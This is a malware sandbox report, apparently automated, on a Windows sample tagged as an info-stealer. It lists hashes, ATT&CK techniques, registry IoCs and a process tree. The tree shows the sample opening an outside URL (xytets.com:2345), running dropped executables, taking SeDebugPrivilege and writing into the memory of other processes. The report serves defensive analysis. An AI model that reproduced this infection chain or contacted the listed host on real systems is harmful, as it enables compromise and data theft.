7b708cc237c797c321e2e6d7146056533ed7f87347734c232c5754755ecd0399

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/05/2026, 13:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260510-qrfrdshy9x
SHA256 7b708cc237c797c321e2e6d7146056533ed7f87347734c232c5754755ecd0399
MD5 b898f11e4daa4436bb474a38c784b46e
SHA1 dbc7ab282d3eccd98a332c4222e8fbb9db84012a
SHA512 aa55f86c90cd414c6f106b52f39597275a18f40a2cff7e893592cdc317965e584b7700e07953349e7db17358f266bf22913ccc541c03dd3d3a47f4c03765ec40
SSDEEP 3072:BGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:QXY4LK+a3lLNngoqRttA7
TLSH
T19234490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1900	CP.exe
2812	zxrpkhczus.exe
6104	CP.exe
4316	CP.exe
4192	i_zxrpkhczus.exe
860	pjhczusmke.sys
1828	CP.exe
4248	ezxrpjhbzu.exe
1632	CP.exe
1060	CP.exe
1756	i_ezxrpjhbzu.exe
4592	kecwuomhez.sys
4920	CP.exe
2828	rljebwuomg.exe
3192	CP.exe
3660	CP.exe
5320	i_rljebwuomg.exe
1344	ztrljdbwto.sys
4268	CP.exe
6084	rljebwuomg.exe
4544	CP.exe
812	CP.exe
3152	i_rljebwuomg.exe
5368	tolgeywqoj.sys
116	CP.exe
2012	igbvtnlgdy.exe
1524	CP.exe
5108	CP.exe
2612	i_igbvtnlgdy.exe
5028	lidbvtnlfd.sys
1984	CP.exe
3612	dbvtnlgdyw.exe
5544	CP.exe
2132	CP.exe
1892	i_dbvtnlgdyw.exe
4960	igaysqlida.sys
1804	CP.exe
1712	snlfdxvqni.exe
4304	CP.exe
3108	CP.exe
4500	i_snlfdxvqni.exe
4536	dxvpnifays.sys
4384	CP.exe
4468	snkfdxvpnh.exe
4228	CP.exe
3616	CP.exe
3976	i_snkfdxvpnh.exe
4880	smkfcxupnh.sys
2876	CP.exe
2616	kfcxvpnhfa.exe
1424	CP.exe
6124	CP.exe
4288	i_kfcxvpnhfa.exe
5176	kecwupmhez.sys
3800	CP.exe
5216	zxrpjhczus.exe
4352	CP.exe
1744	CP.exe
5608	i_zxrpjhczus.exe
768	mkecwupmhf.sys
3400	CP.exe
4380	wrpjhbzurm.exe
2712	CP.exe
2472	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfdxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecxupmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpkhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfcxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlxvqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfcxupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezxrpjhbzu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlxvqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecxupmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfdxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezxrpjhbzu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfcxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpkhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfcxupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbvtnlg.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3172	ipconfig.exe
3916	ipconfig.exe
1188	ipconfig.exe
5340	ipconfig.exe
4880	ipconfig.exe
5036	ipconfig.exe
2076	ipconfig.exe
368	ipconfig.exe
5240	ipconfig.exe
4948	ipconfig.exe
1740	ipconfig.exe
5892	ipconfig.exe
6012	ipconfig.exe
6132	ipconfig.exe
2492	ipconfig.exe
5564	ipconfig.exe
1164	ipconfig.exe
2356	ipconfig.exe
1860	ipconfig.exe
4816	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31252609"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{45A2344D-4C74-11F1-9F8B-FE9584C87747} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000028990ba4d0898f4eb3493c2501c2b205000000000200000000001066000000010000200000009a841f11919a6673c6362930822f5948c6160ac5507c29bc7b48cfbad1431a55000000000e8000000002000020000000bf862adff797fd6c1c7d2ab834d6e43874e5ddcd61ccdb00389e9e2f30d5b7db20000000183952fa67bd6c47571d1b244889b620081eae568521a857445bcf7c42a7c9c84000000032152250da5ddb89591943872751c25f357ee39f4a8be394ff9fa12e90b860d990c89a8d1a6264ae57dfdcbf6d58a70a40ad4991dea3070d908b4729f31ceff1	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000028990ba4d0898f4eb3493c2501c2b2050000000002000000000010660000000100002000000062d5a3eddbc865a3abbd44fbc1ff1629b4961c8b67f81b69507101c7e9e7491d000000000e8000000002000020000000001916ef05302f71797422d53c9772dbe29b1e2216b6d89939f4386671de96712000000085e48535b31e0b3e49213e6d3355fec8cd9f578298c39564c5ff1203715d900240000000cc893c92ad63d37a8707d8705ff98b354993c3ee573df0e3322d005ae5233aa0043212434756f82dd213d14ff22260ef83b0f80c0fa4723e5a0e057abc113e6d	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00f1e97c89e0dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "485184744"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10c5e27c89e0dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31252609"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "738109132"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "453422064"	IEXPLORE.EXE

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4192	i_zxrpkhczus.exe
Token: SeDebugPrivilege	1756	i_ezxrpjhbzu.exe
Token: SeDebugPrivilege	5320	i_rljebwuomg.exe
Token: SeDebugPrivilege	3152	i_rljebwuomg.exe
Token: SeDebugPrivilege	2612	i_igbvtnlgdy.exe
Token: SeDebugPrivilege	1892	i_dbvtnlgdyw.exe
Token: SeDebugPrivilege	4500	i_snlfdxvqni.exe
Token: SeDebugPrivilege	3976	i_snkfdxvpnh.exe
Token: SeDebugPrivilege	4288	i_kfcxvpnhfa.exe
Token: SeDebugPrivilege	5608	i_zxrpjhczus.exe
Token: SeDebugPrivilege	1068	i_wrpjhbzurm.exe
Token: SeDebugPrivilege	2952	i_wuomgezwrp.exe
Token: SeDebugPrivilege	2856	i_tolgeywqoi.exe
Token: SeDebugPrivilege	5204	i_qljdbvtnlg.exe
Token: SeDebugPrivilege	2868	i_tnlxvqnifa.exe
Token: SeDebugPrivilege	5592	i_qnifaysqki.exe
Token: SeDebugPrivilege	4152	i_nkfdxvpnhf.exe
Token: SeDebugPrivilege	5896	i_kfcxupnhfz.exe
Token: SeDebugPrivilege	2312	i_mkecxupmhf.exe
Token: SeDebugPrivilege	4992	i_jhbztrmjec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4736	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4736	iexplore.exe
4736	iexplore.exe
3648	IEXPLORE.EXE
3648	IEXPLORE.EXE
3648	IEXPLORE.EXE
3648	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4736	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 4736 wrote to memory of 3648	4736	iexplore.exe	86
PID 4756 wrote to memory of 1900	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	87
PID 2812 wrote to memory of 6104	2812	zxrpkhczus.exe	90
PID 4756 wrote to memory of 4316	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	93
PID 4756 wrote to memory of 1828	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	98
PID 4248 wrote to memory of 1632	4248	ezxrpjhbzu.exe	100
PID 4756 wrote to memory of 1060	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 4756 wrote to memory of 4920	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	111
PID 2828 wrote to memory of 3192	2828	rljebwuomg.exe	113
PID 4756 wrote to memory of 3660	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 4756 wrote to memory of 4268	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 6084 wrote to memory of 4544	6084	rljebwuomg.exe	125
PID 4756 wrote to memory of 812	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 4756 wrote to memory of 116	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 2012 wrote to memory of 1524	2012	igbvtnlgdy.exe	135
PID 4756 wrote to memory of 5108	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	138
PID 4756 wrote to memory of 1984	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	142
PID 3612 wrote to memory of 5544	3612	dbvtnlgdyw.exe	144
PID 4756 wrote to memory of 2132	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	147
PID 4756 wrote to memory of 1804	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 1712 wrote to memory of 4304	1712	snlfdxvqni.exe	153
PID 4756 wrote to memory of 3108	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 4756 wrote to memory of 4384	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 4756 wrote to memory of 3616	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 4756 wrote to memory of 2876	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 2616 wrote to memory of 1424	2616	kfcxvpnhfa.exe	171
PID 4756 wrote to memory of 6124	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 4756 wrote to memory of 3800	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	178
PID 5216 wrote to memory of 4352	5216	zxrpjhczus.exe	180
PID 4756 wrote to memory of 1744	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 4756 wrote to memory of 3400	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 4380 wrote to memory of 2712	4380	wrpjhbzurm.exe	189
PID 4756 wrote to memory of 2472	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 4756 wrote to memory of 4196	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	196
PID 4956 wrote to memory of 2188	4956	wuomgezwrp.exe	198
PID 4756 wrote to memory of 764	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	201
PID 4756 wrote to memory of 5432	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	205
PID 1496 wrote to memory of 1588	1496	tolgeywqoi.exe	207
PID 4756 wrote to memory of 4048	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	210
PID 4756 wrote to memory of 5972	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	214
PID 5088 wrote to memory of 1796	5088	qljdbvtnlg.exe	216
PID 4756 wrote to memory of 5576	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	219
PID 4756 wrote to memory of 1604	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	223
PID 8 wrote to memory of 5948	8	tnlxvqnifa.exe	225
PID 4756 wrote to memory of 1620	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	228
PID 4756 wrote to memory of 4808	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	232
PID 3980 wrote to memory of 4664	3980	qnifaysqki.exe	234
PID 4756 wrote to memory of 3644	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	238
PID 4756 wrote to memory of 1996	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	242
PID 2000 wrote to memory of 2560	2000	nkfdxvpnhf.exe	244
PID 4756 wrote to memory of 2652	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	247
PID 4756 wrote to memory of 3948	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	251
PID 2400 wrote to memory of 4284	2400	kfcxupnhfz.exe	253
PID 4756 wrote to memory of 1760	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	256
PID 4756 wrote to memory of 5152	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	260
PID 3812 wrote to memory of 3712	3812	mkecxupmhf.exe	262
PID 4756 wrote to memory of 60	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	265
PID 4756 wrote to memory of 4700	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	269
PID 5700 wrote to memory of 5740	5700	jhbztrmjec.exe	271
PID 4756 wrote to memory of 5980	4756	2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe	274

C:\Users\Admin\AppData\Local\Temp\2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-10_b898f11e4daa4436bb474a38c784b46e_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4736 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3648
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxrpkhczus.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1900
- - C:\Temp\zxrpkhczus.exe
    C:\Temp\zxrpkhczus.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6104
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxrpkhczus.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4316
- - C:\Temp\i_zxrpkhczus.exe
    C:\Temp\i_zxrpkhczus.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4192
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ezxrpjhbzu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1828
- - C:\Temp\ezxrpjhbzu.exe
    C:\Temp\ezxrpjhbzu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1632
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ezxrpjhbzu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1060
- - C:\Temp\i_ezxrpjhbzu.exe
    C:\Temp\i_ezxrpjhbzu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rljebwuomg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4920
- - C:\Temp\rljebwuomg.exe
    C:\Temp\rljebwuomg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3192
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rljebwuomg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3660
- - C:\Temp\i_rljebwuomg.exe
    C:\Temp\i_rljebwuomg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rljebwuomg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4268
- - C:\Temp\rljebwuomg.exe
    C:\Temp\rljebwuomg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
